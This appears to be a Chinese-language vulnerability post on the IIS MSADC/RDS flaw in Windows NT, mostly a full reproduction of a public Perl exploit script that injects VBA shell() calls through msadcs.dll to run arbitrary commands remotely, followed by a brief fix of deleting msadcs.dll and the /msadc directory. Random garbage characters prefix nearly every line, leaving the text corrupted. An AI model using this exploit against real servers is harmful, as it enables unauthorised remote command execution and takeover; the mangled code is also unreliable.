IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Feq]U? 6O! 2P 涉及程序：
i< Z c"v; Microsoft NT server
VjZ|$k `b7t4d* 描述：
Iit; F 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
S_UIO.K . 3T3E X|G 详细：
( ^Nz9{ 如果你没有时间读详细内容的话，就删除:
5<Nx ^D c:\Program Files\Common Files\System\Msadc\msadcs.dll
= m#?neop 有关的安全问题就没有了。
`+:`_4 S;#'M![8 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
+V OK%8,p BUX pC xQ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
M%P:n/j 关于利用ODBC远程漏洞的描述，请参看:
)1`0PJoHE w_K1]<Q* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .p"
xVfi6 $ DaNbLV 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
r52gn(, http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6mxfLlZ 00~mOK;1 这里不再论述。
~V1E0qdAE I:1C8*/ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
` 7V]y - 56 kI
5: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!wh8'X* 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
=MDy s b&: ],Do6
@M- P{ lB5 0 #将下面这段保存为txt文件，然后: "perl -x 文件名"
sWn LEw ;+ hH #!perl
v;D~Pa #
K`fuf= # MSADC/RDS 'usage' (aka exploit) script
=$JE T<( #
)=_,O=z$K # by rain.forest.puppy
')<hON44EX #
d S V8q
,D # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E""bTz@ # beta test and find errors!
F0Yd@Lk$_ dJNe+
MB` use Socket; use Getopt::Std;
n<R?ffy getopts("e:vd:h:XR", \%args);
Ry6@VQ"NLb {8bSB.?R print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^>v+(
z5R f\L 0 xJ if (!defined $args{h} && !defined $args{R}) {
B>P{A7Q print qq~
}y gD3:vN7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
^RIl -h <host> = host you want to scan (ip or domain)
0[W:d=C`a -d <seconds> = delay between calls, default 1 second
U26}gT) -X = dump Index Server path table, if available
5vnrA'BhBU -v = verbose
~6LN6}~|. -e = external dictionary file for step 5
z 1X` o <*cikXS Or a -R will resume a command session
LG#t<5y~ {9.|2%a ~; exit;}
suDQ ~\ n hf&9uHN%7m $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
V+ 9 MoT?8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
C B}2j if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
SSMHo JGm if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
J)p
l|I $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-=\c_\ O if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
j3E7zRm] \ LyFN.2qw if (!defined $args{R}){ $ret = &has_msadc;
kc`Tdn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1tFNM[R
:& ."ttf= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
tf`^v6 m%] . "cmd /c ";
@GW #&\yM $in=<STDIN>; chomp $in;
g}(L;fy>7 $command="cmd /c " . $in ;
=]0&i]z[. Se =`N if (defined $args{R}) {&load; exit;}
BR;D@R``} t'k$&l}+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3AN/
H &try_btcustmr;
XUuN )i |Ds1 print "\nStep 2: Trying to make our own DSN...";
- m~#Bq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
PALc;"]O : ,6\"y- print "\nStep 3: Trying known DSNs...";
aO4?m+ &known_dsn;
d raN0v f & 6nWzF print "\nStep 4: Trying known .mdbs...";
V)N%WX G &known_mdb;
u.xnO cOH! \(2sW^fY if (defined $args{e}){
B:'US&6Lf' print "\nStep 5: Trying dictionary of DSN names...";
,r\o}E2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
YS"=yye 3e P71Lqy)5}A print "Sorry Charley...maybe next time?\n";
"S?z@ i(K^ exit;
WNrk}LFof z!9-: ##############################################################################
>e$PP8&i_T TAW/zpps$ sub sendraw { # ripped and modded from whisker
t;\Y{` sleep($delay); # it's a DoS on the server! At least on mine...
7WZ+T"O{I my ($pstr)=@_;
4@a i6,< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o0KL5]. die("Socket problems\n");
##" HF if(connect(S,pack "SnA4x8",2,80,$target)){
Oxd]y1 select(S); $|=1;
2g! +<YZ~ print $pstr; my @in=<S>;
: eVq#3} select(STDOUT); close(S);
r mg}N return @in;
7J< 5f) } else { die("Can't connect...\n"); }}
c9h6C Wvf
^N( ##############################################################################
o! A +&{ E hMNap}5" sub make_header { # make the HTTP request
'/s)%bc my $msadc=<<EOT
A2Gevj?F$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s!$7(Q86R User-Agent: ACTIVEDATA
XZd,&YiaG Host: $ip
3)ywX&4"L Content-Length: $clen
^k9I(f^c-_ Connection: Keep-Alive
[.wYdv35 x U`p|(SS- ADCClientVersion:01.06
97!;.f- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8bld3 p"^ 0n {=%Q --!ADM!ROX!YOUR!WORLD!
h~zT ydnH Content-Type: application/x-varg
Ig>(m49d Content-Length: $reqlen
o?\?@H / %io+94 EOT
tY4;F\e2|A ; $msadc=~s/\n/\r\n/g;
~Z' ?LV<t return $msadc;}
b OY |H~ d7bS
wL ##############################################################################
i=2N ;sAl Z(CkZll sub make_req { # make the RDS request
}0 Ed ] my ($switch, $p1, $p2)=@_;
e$ rZ 5X my $req=""; my $t1, $t2, $query, $dsn;
l,5+@i`5i {"KMs[ M if ($switch==1){ # this is the btcustmr.mdb query
7- fb.V9 $query="Select * from Customers where City=" . make_shell();
R (n2A$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&Au@S $ij $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}k .Z~1y >fQ MXfoY elsif ($switch==2){ # this is general make table query
* \ F~[ $query="create table AZZ (B int, C varchar(10))";
m ~$v;?i $dsn="$p1";}
#o#H?Vo9b ' S/gmn elsif ($switch==3){ # this is general exploit table query
fe_5LC" $query="select * from AZZ where C=" . make_shell();
3%b6{ie/= $dsn="$p1";}
GnJt0 { ]:J$w]\ elsif ($switch==4){ # attempt to hork file info from index server
4^o^F-k' $query="select path from scope()";
u Q KT $dsn="Provider=MSIDXS;";}
YPI-<vM~ -aCKRN85 elsif ($switch==5){ # bad query
O?#7N[7 $query="select";
b@hqz!)l` $dsn="$p1";}
^} >w<'0 :gFx{*xN/9 $t1= make_unicode($query);
"E4a=YH_ $t2= make_unicode($dsn);
[ub e6 $req = "\x02\x00\x03\x00";
KF:78C $req.= "\x08\x00" . pack ("S1", length($t1));
6 7FWa $req.= "\x00\x00" . $t1 ;
7WzxA=*# $req.= "\x08\x00" . pack ("S1", length($t2));
)zDCu` $req.= "\x00\x00" . $t2 ;
/Lr.e% $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+9sQZB# ( return $req;}
<lJ345Q l9Q- i J ##############################################################################
N4TV _7_Y={4=` sub make_shell { # this makes the shell() statement
:?1Dko^ return "'|shell(\"$command\")|'";}
\1M4Dl5!
_;\_l ##############################################################################
M/`lM$98: ysnx3(+| sub make_unicode { # quick little function to convert to unicode
U- k`s[dv my ($in)=@_; my $out;
Dk5 1z@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'i|YlMFI g return $out;}
<t!W5q P?P#RhvA1 ##############################################################################
)MT}+ai @gK?\URoT sub rdo_success { # checks for RDO return success (this is kludge)
k)TpnH! " my (@in) = @_; my $base=content_start(@in);
XfIJ 4ZM5 if($in[$base]=~/multipart\/mixed/){
Ar#(psU return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Y"$xX8o return 0;}
b4Ekqas s_p!43\J ##############################################################################
6(R<{{ [AJJSd /: sub make_dsn { # this makes a DSN for us
&m;*<}X my @drives=("c","d","e","f");
Bd py:'fJn print "\nMaking DSN: ";
l,aay-E foreach $drive (@drives) {
R[+<^s}p/ print "$drive: ";
rEz^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
AbW6x "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
`N8O"UcoBo . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(A.C]hD $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{R{=+2K!|k return 0 if $2 eq "404"; # not found/doesn't exist
6j|{`Zd)G if($2 eq "200") {
)% fH(ns( foreach $line (@results) {
(S Yln>o return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
goWuw}? } return 0;}
2y1Sne=<Kb lr&a;aZp ##############################################################################
V>rU.Mp
QU VuZr:-K/ sub verify_exists {
-yNlyHv9 my ($page)=@_;
0JujesUw( my @results=sendraw("GET $page HTTP/1.0\n\n");
Zx>=tx} return $results[0];}
"Z+k =~( S$-7SEkO+ ##############################################################################
Y8t8!{ytg j<e2d 7oN sub try_btcustmr {
W\V.r$? v my @drives=("c","d","e","f");
Ab;.5O$ y my @dirs=("winnt","winnt35","winnt351","win","windows");
$<[79al# A^S gI-y| foreach $dir (@dirs) {
)D%~` ,#pQ print "$dir -> "; # fun status so you can see progress
@IZnFHN foreach $drive (@drives) {
: .`2 ^ print "$drive: "; # ditto
7F.4Ga; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
% A0/1{( $reqlenlen=length( "$reqlen" );
>^{yF~( $clen= 206 + $reqlenlen + $reqlen;
|;{6 & S 7 _[L o4_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-$Ih@2"6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
tfWS)y7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%\:Wi#w> .x&%HA ##############################################################################
ML p9y# 8H`[*|{' sub odbc_error {
;< 4a*;IO my (@in)=@_; my $base;
< %mRS v my $base = content_start(@in);
4Wp=y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
*qpSXmOz $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7 a } k $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bvOq5Q6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+
>!;i6| return $in[$base+4].$in[$base+5].$in[$base+6];}
y8xE
6i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V|R,!UND print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(^>J&[= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
B `sAk
% ?g Xp*>Kg[ ##############################################################################
MnHNjsO# N6TH}~62} sub verbose {
J lJ a
# my ($in)=@_;
ksm~<;td return if !$verbose;
,`sv1xwd print STDOUT "\n$in\n";}
I(
Mm?9F y Wf`rF{ ##############################################################################
zKK9r~ M b~cZ S[S sub save {
D)}v@je"yP my ($p1, $p2, $p3, $p4)=@_;
IAyp 2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>@Kx>cg+ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
W} ofAkF close OUT;}
-t U'yKhn s,_m{ to ##############################################################################
Rk8P
ax/JK NX&_p!_V sub load {
5`_SN 74 o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6wg^FD_Q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
f?)-}\[IR{ @p=<IN>; close(IN);
Ws12b $ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5Ynd c)Z $target= inet_aton($ip) || die("inet_aton problems");
wKY_Bo/d print "Resuming to $ip ...";
? r!o~|9| $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
{\\T gs if($p[1]==1) {
U%/+B]6jP $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
'0,^6'VWOV $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f,Ghb~ y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!TcJ)0
if (rdo_success(@results)){print "Success!\n";}
e~(5%CO>#j else { print "failed\n"; verbose(odbc_error(@results));}}
-7|H}!DFT elsif ($p[1]==3){
$Z> 'Jp if(run_query("$p[3]")){
4b`=>X;W print "Success!\n";} else { print "failed\n"; }}
.eC1qWZJpd elsif ($p[1]==4){
UL9n-M = if(run_query($drvst . "$p[3]")){
%S UQ9\SEs print "Success!\n"; } else { print "failed\n"; }}
bs1Rvx1:J% exit;}
;9'OOz|+1 'E.w=7z& ##############################################################################
@KUWxFak EBmt9S sub create_table {
nT)vNWT= my ($in)=@_;
Z #m+ObHK1 $reqlen=length( make_req(2,$in,"") ) - 28;
|+"(L#wk $reqlenlen=length( "$reqlen" );
]{>,rK[So $clen= 206 + $reqlenlen + $reqlen;
{Hk}Kow my @results=sendraw(make_header() . make_req(2,$in,""));
<\S:'g"( return 1 if rdo_success(@results);
W!(LF7_! my $temp= odbc_error(@results); verbose($temp);
k|f4Cf, return 1 if $temp=~/Table 'AZZ' already exists/;
%N_%JK\{@ return 0;}
{f p[BF |gY^)9ei ##############################################################################
8a"% 0d# xe$_aBU sub known_dsn {
6d~'$<5on # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
n._-!
WI my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
N4HqLh23H "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
AwF:Iu^3n "banner", "banners", "ads", "ADCDemo", "ADCTest");
8Cv?Z.x5 h@wgd~X9 foreach $dSn (@dsns) {
lk80#( :Z print ".";
e@YK@?^#N next if (!is_access("DSN=$dSn"));
r,2g^ K)6 if(create_table("DSN=$dSn")){
0Y5_PTWb+Y print "$dSn successful\n";
S0W||#Pr if(run_query("DSN=$dSn")){
h
zn6kbv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ssg&QI print "Something's borked. Use verbose next time\n";}}} print "\n";}
YZJyk:H\ M rb) ##############################################################################
<QGXy= m~ee/& T sub is_access {
1yY0dOoLG) my ($in)=@_;
S`Rs 82> $reqlen=length( make_req(5,$in,"") ) - 28;
[=`q>|;pOv $reqlenlen=length( "$reqlen" );
5Jnlz@P9 $clen= 206 + $reqlenlen + $reqlen;
E&:,oG2M my @results=sendraw(make_header() . make_req(5,$in,""));
<ZR9GlIr my $temp= odbc_error(@results);
\z}
Ic%Tp verbose($temp); return 1 if ($temp=~/Microsoft Access/);
oe~b}: return 0;}
f(7GX3? ~flV`wy$$1 ##############################################################################
Fv`,3aNB 6;5Ss?ep sub run_query {
Ilm^G}GB my ($in)=@_;
Rbv;?'O$L $reqlen=length( make_req(3,$in,"") ) - 28;
o#1 $q`Z $reqlenlen=length( "$reqlen" );
Eu04e N $clen= 206 + $reqlenlen + $reqlen;
seeB S/% my @results=sendraw(make_header() . make_req(3,$in,""));
ZqO^f*F>h return 1 if rdo_success(@results);
18:%~>.! my $temp= odbc_error(@results); verbose($temp);
0+b1vhQ return 0;}
#C@FYO f* ,5<Cd,`* ##############################################################################
)@bQu~Y 3"\l u?-E sub known_mdb {
"U"Z 3 * my @drives=("c","d","e","f","g");
|#N& akC my @dirs=("winnt","winnt35","winnt351","win","windows");
\Y}8S/] my $dir, $drive, $mdb;
mpJ#:}n my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D^;Uq8NDKq `Ryp% Bn # this is sparse, because I don't know of many
"" ZQ/t\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
@7n"yp*" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
m&yJzMW| "\\system32\\certmdb.mdb",
uY'HT|@:{ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|$_sX9\`?| @U} 1EC{A my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
H}
g{Cr"Ex "\\cfusion\\cfapps\\forums\\forums_.mdb",
|LKXOU
c "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
DM>eVS3} "\\cfusion\\cfapps\\security\\realm_.mdb",
u\JNr}bL "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3sZ\0P} "\\cfusion\\database\\cfexamples.mdb",
,s; Uf F "\\cfusion\\database\\cfsnippets.mdb",
xKp4*[}m "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=_u4=4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3=ymm ^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
u> 7=AlWF- "\\cfusion\\database\\smpolicy.mdb",
9'q*:&qq "\\cfusion\\database\cypress.mdb",
<Q?F?.^e "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
UFuX@Lu0 "\\website\\cgi-win\\dbsample.mdb",
$ iz|\m "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4+ Z]3oIRE "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5/Uy{Xt ); #these are just
0{ R=9wcc foreach $drive (@drives) {
'2^Q1{ :\ foreach $dir (@dirs){
6) Lk-D foreach $mdb (@sysmdbs) {
:9 ^*
^T print ".";
i~J'% a<Qp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wj0\$NQ =x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6!FQzFCZq if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
VP]% Hni] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
czd~8WgOa } else { print "Something's borked. Use verbose next time\n"; }}}}}
u;c?d!E \)|hogI|f foreach $drive (@drives) {
!C: $?o U foreach $mdb (@mdbs) {
|$b}L7_ print ".";
ekCC5P! if(create_table($drv . $drive . $dir . $mdb)){
#;nYg?d= print "\n" . $drive . $dir . $mdb . " successful\n";
[cp+ i^f if(run_query($drv . $drive . $dir . $mdb)){
J/*`7Pd print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
M/K5#8Arj } else { print "Something's borked. Use verbose next time\n"; }}}}
JaGtsi9%. }
E?0%Z&1h |
%Vh`HT ##############################################################################
XOS[No~ @MCg%Afw sub hork_idx {
,nm*q#R,0 print "\nAttempting to dump Index Server tables...\n";
[q #\D print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C~iL3C b $reqlen=length( make_req(4,"","") ) - 28;
Dm<A
^u8 $reqlenlen=length( "$reqlen" );
n6a`;0f[R $clen= 206 + $reqlenlen + $reqlen;
kW&TJP+5* my @results=sendraw2(make_header() . make_req(4,"",""));
[IhYh<i if (rdo_success(@results)){
Ek]'km! my $max=@results; my $c; my %d;
)+ 2hl for($c=19; $c<$max; $c++){
Jg| XH
L) $results[$c]=~s/\x00//g;
d-dEQKI?; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
N<injx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
mL: s Jf $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!Q0w\j h $d{"$1$2"}="";}
oM`0y@QCf foreach $c (keys %d){ print "$c\n"; }
&KRX[2 } else {print "Index server doesn't seem to be installed.\n"; }}
Npy : ! ^.NU|NQi' ##############################################################################
JcxThZP~ Q$@I"V&G. sub dsn_dict {
*bA. zm zM open(IN, "<$args{e}") || die("Can't open external dictionary\n");
"1 M[5\Ax while(<IN>){
V 6reqEh $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
R/z=p_6p7` next if (!is_access("DSN=$dSn"));
6j LCU%^ if(create_table("DSN=$dSn")){
9mTJ|sN:e print "$dSn successful\n";
hZ if(run_query("DSN=$dSn")){
;MdlwQ$` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dNe Vo|Y~h print "Something's borked. Use verbose next time\n";}}}
QB'aON\S print "\n"; close(IN);}
@2 fg~2M1 E0 9 :E ##############################################################################
v
z '&%( 0.k7oB;f(@ sub sendraw2 { # ripped and modded from whisker
W|63Ir67 sleep($delay); # it's a DoS on the server! At least on mine...
7E~; xn; my ($pstr)=@_;
fS78>*K socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z}Ft:7 die("Socket problems\n");
W v+?TEP if(connect(S,pack "SnA4x8",2,80,$target)){
)|=j`jCC print "Connected. Getting data";
]-/VHh open(OUT,">raw.out"); my @in;
?2Py_gkf select(S); $|=1; print $pstr;
wEvVL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
P
m e^l%M close(OUT); select(STDOUT); close(S); return @in;
rCd u0 gYT } else { die("Can't connect...\n"); }}
Z ba2d,8/ J{fH ['tzO ##############################################################################
RdR p.pb8 I(BQ34 q sub content_start { # this will take in the server headers
Y GC L2Y my (@in)=@_; my $c;
GDiBl* D for ($c=1;$c<500;$c++) {
p4
^yVa if($in[$c] =~/^\x0d\x0a/){
n]o<S+z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%aVq+kC h else { return $c+1; }}}
q6V> zi return -1;} # it should never get here actually
QX'qyojxN vuY~_ ##############################################################################
5uj?#)N CN8Y\<Ar sub funky {
*mvlb
(' & my (@in)=@_; my $error=odbc_error(@in);
;u46Z if($error=~/ADO could not find the specified provider/){
l ?n\i]' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
JO6)-U$7UG exit;}
|imM# wF if($error=~/A Handler is required/){
hy"\RW print "\nServer has custom handler filters (they most likely are patched)\n";
U>}w2bZ* exit;}
<k'h:KB?` if($error=~/specified Handler has denied Access/){
1ztG;\ print "\nServer has custom handler filters (they most likely are patched)\n";
:(* V?WI exit;}}
K: # I *d4 eK+U$5 ##############################################################################
\\B(r XYOC_.f1 sub has_msadc {
VY=jc~c]v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
h^(* Tv-! my $base=content_start(@results);
dn$!& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
#( 146 return 0;}
N)\. [v <FkFs{(t ########################
EDl! w: l L@XM2" y(yHt= r 解决方案：
HJ[c M6$2 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
O:{~urV 2、移除web 目录: /msadc
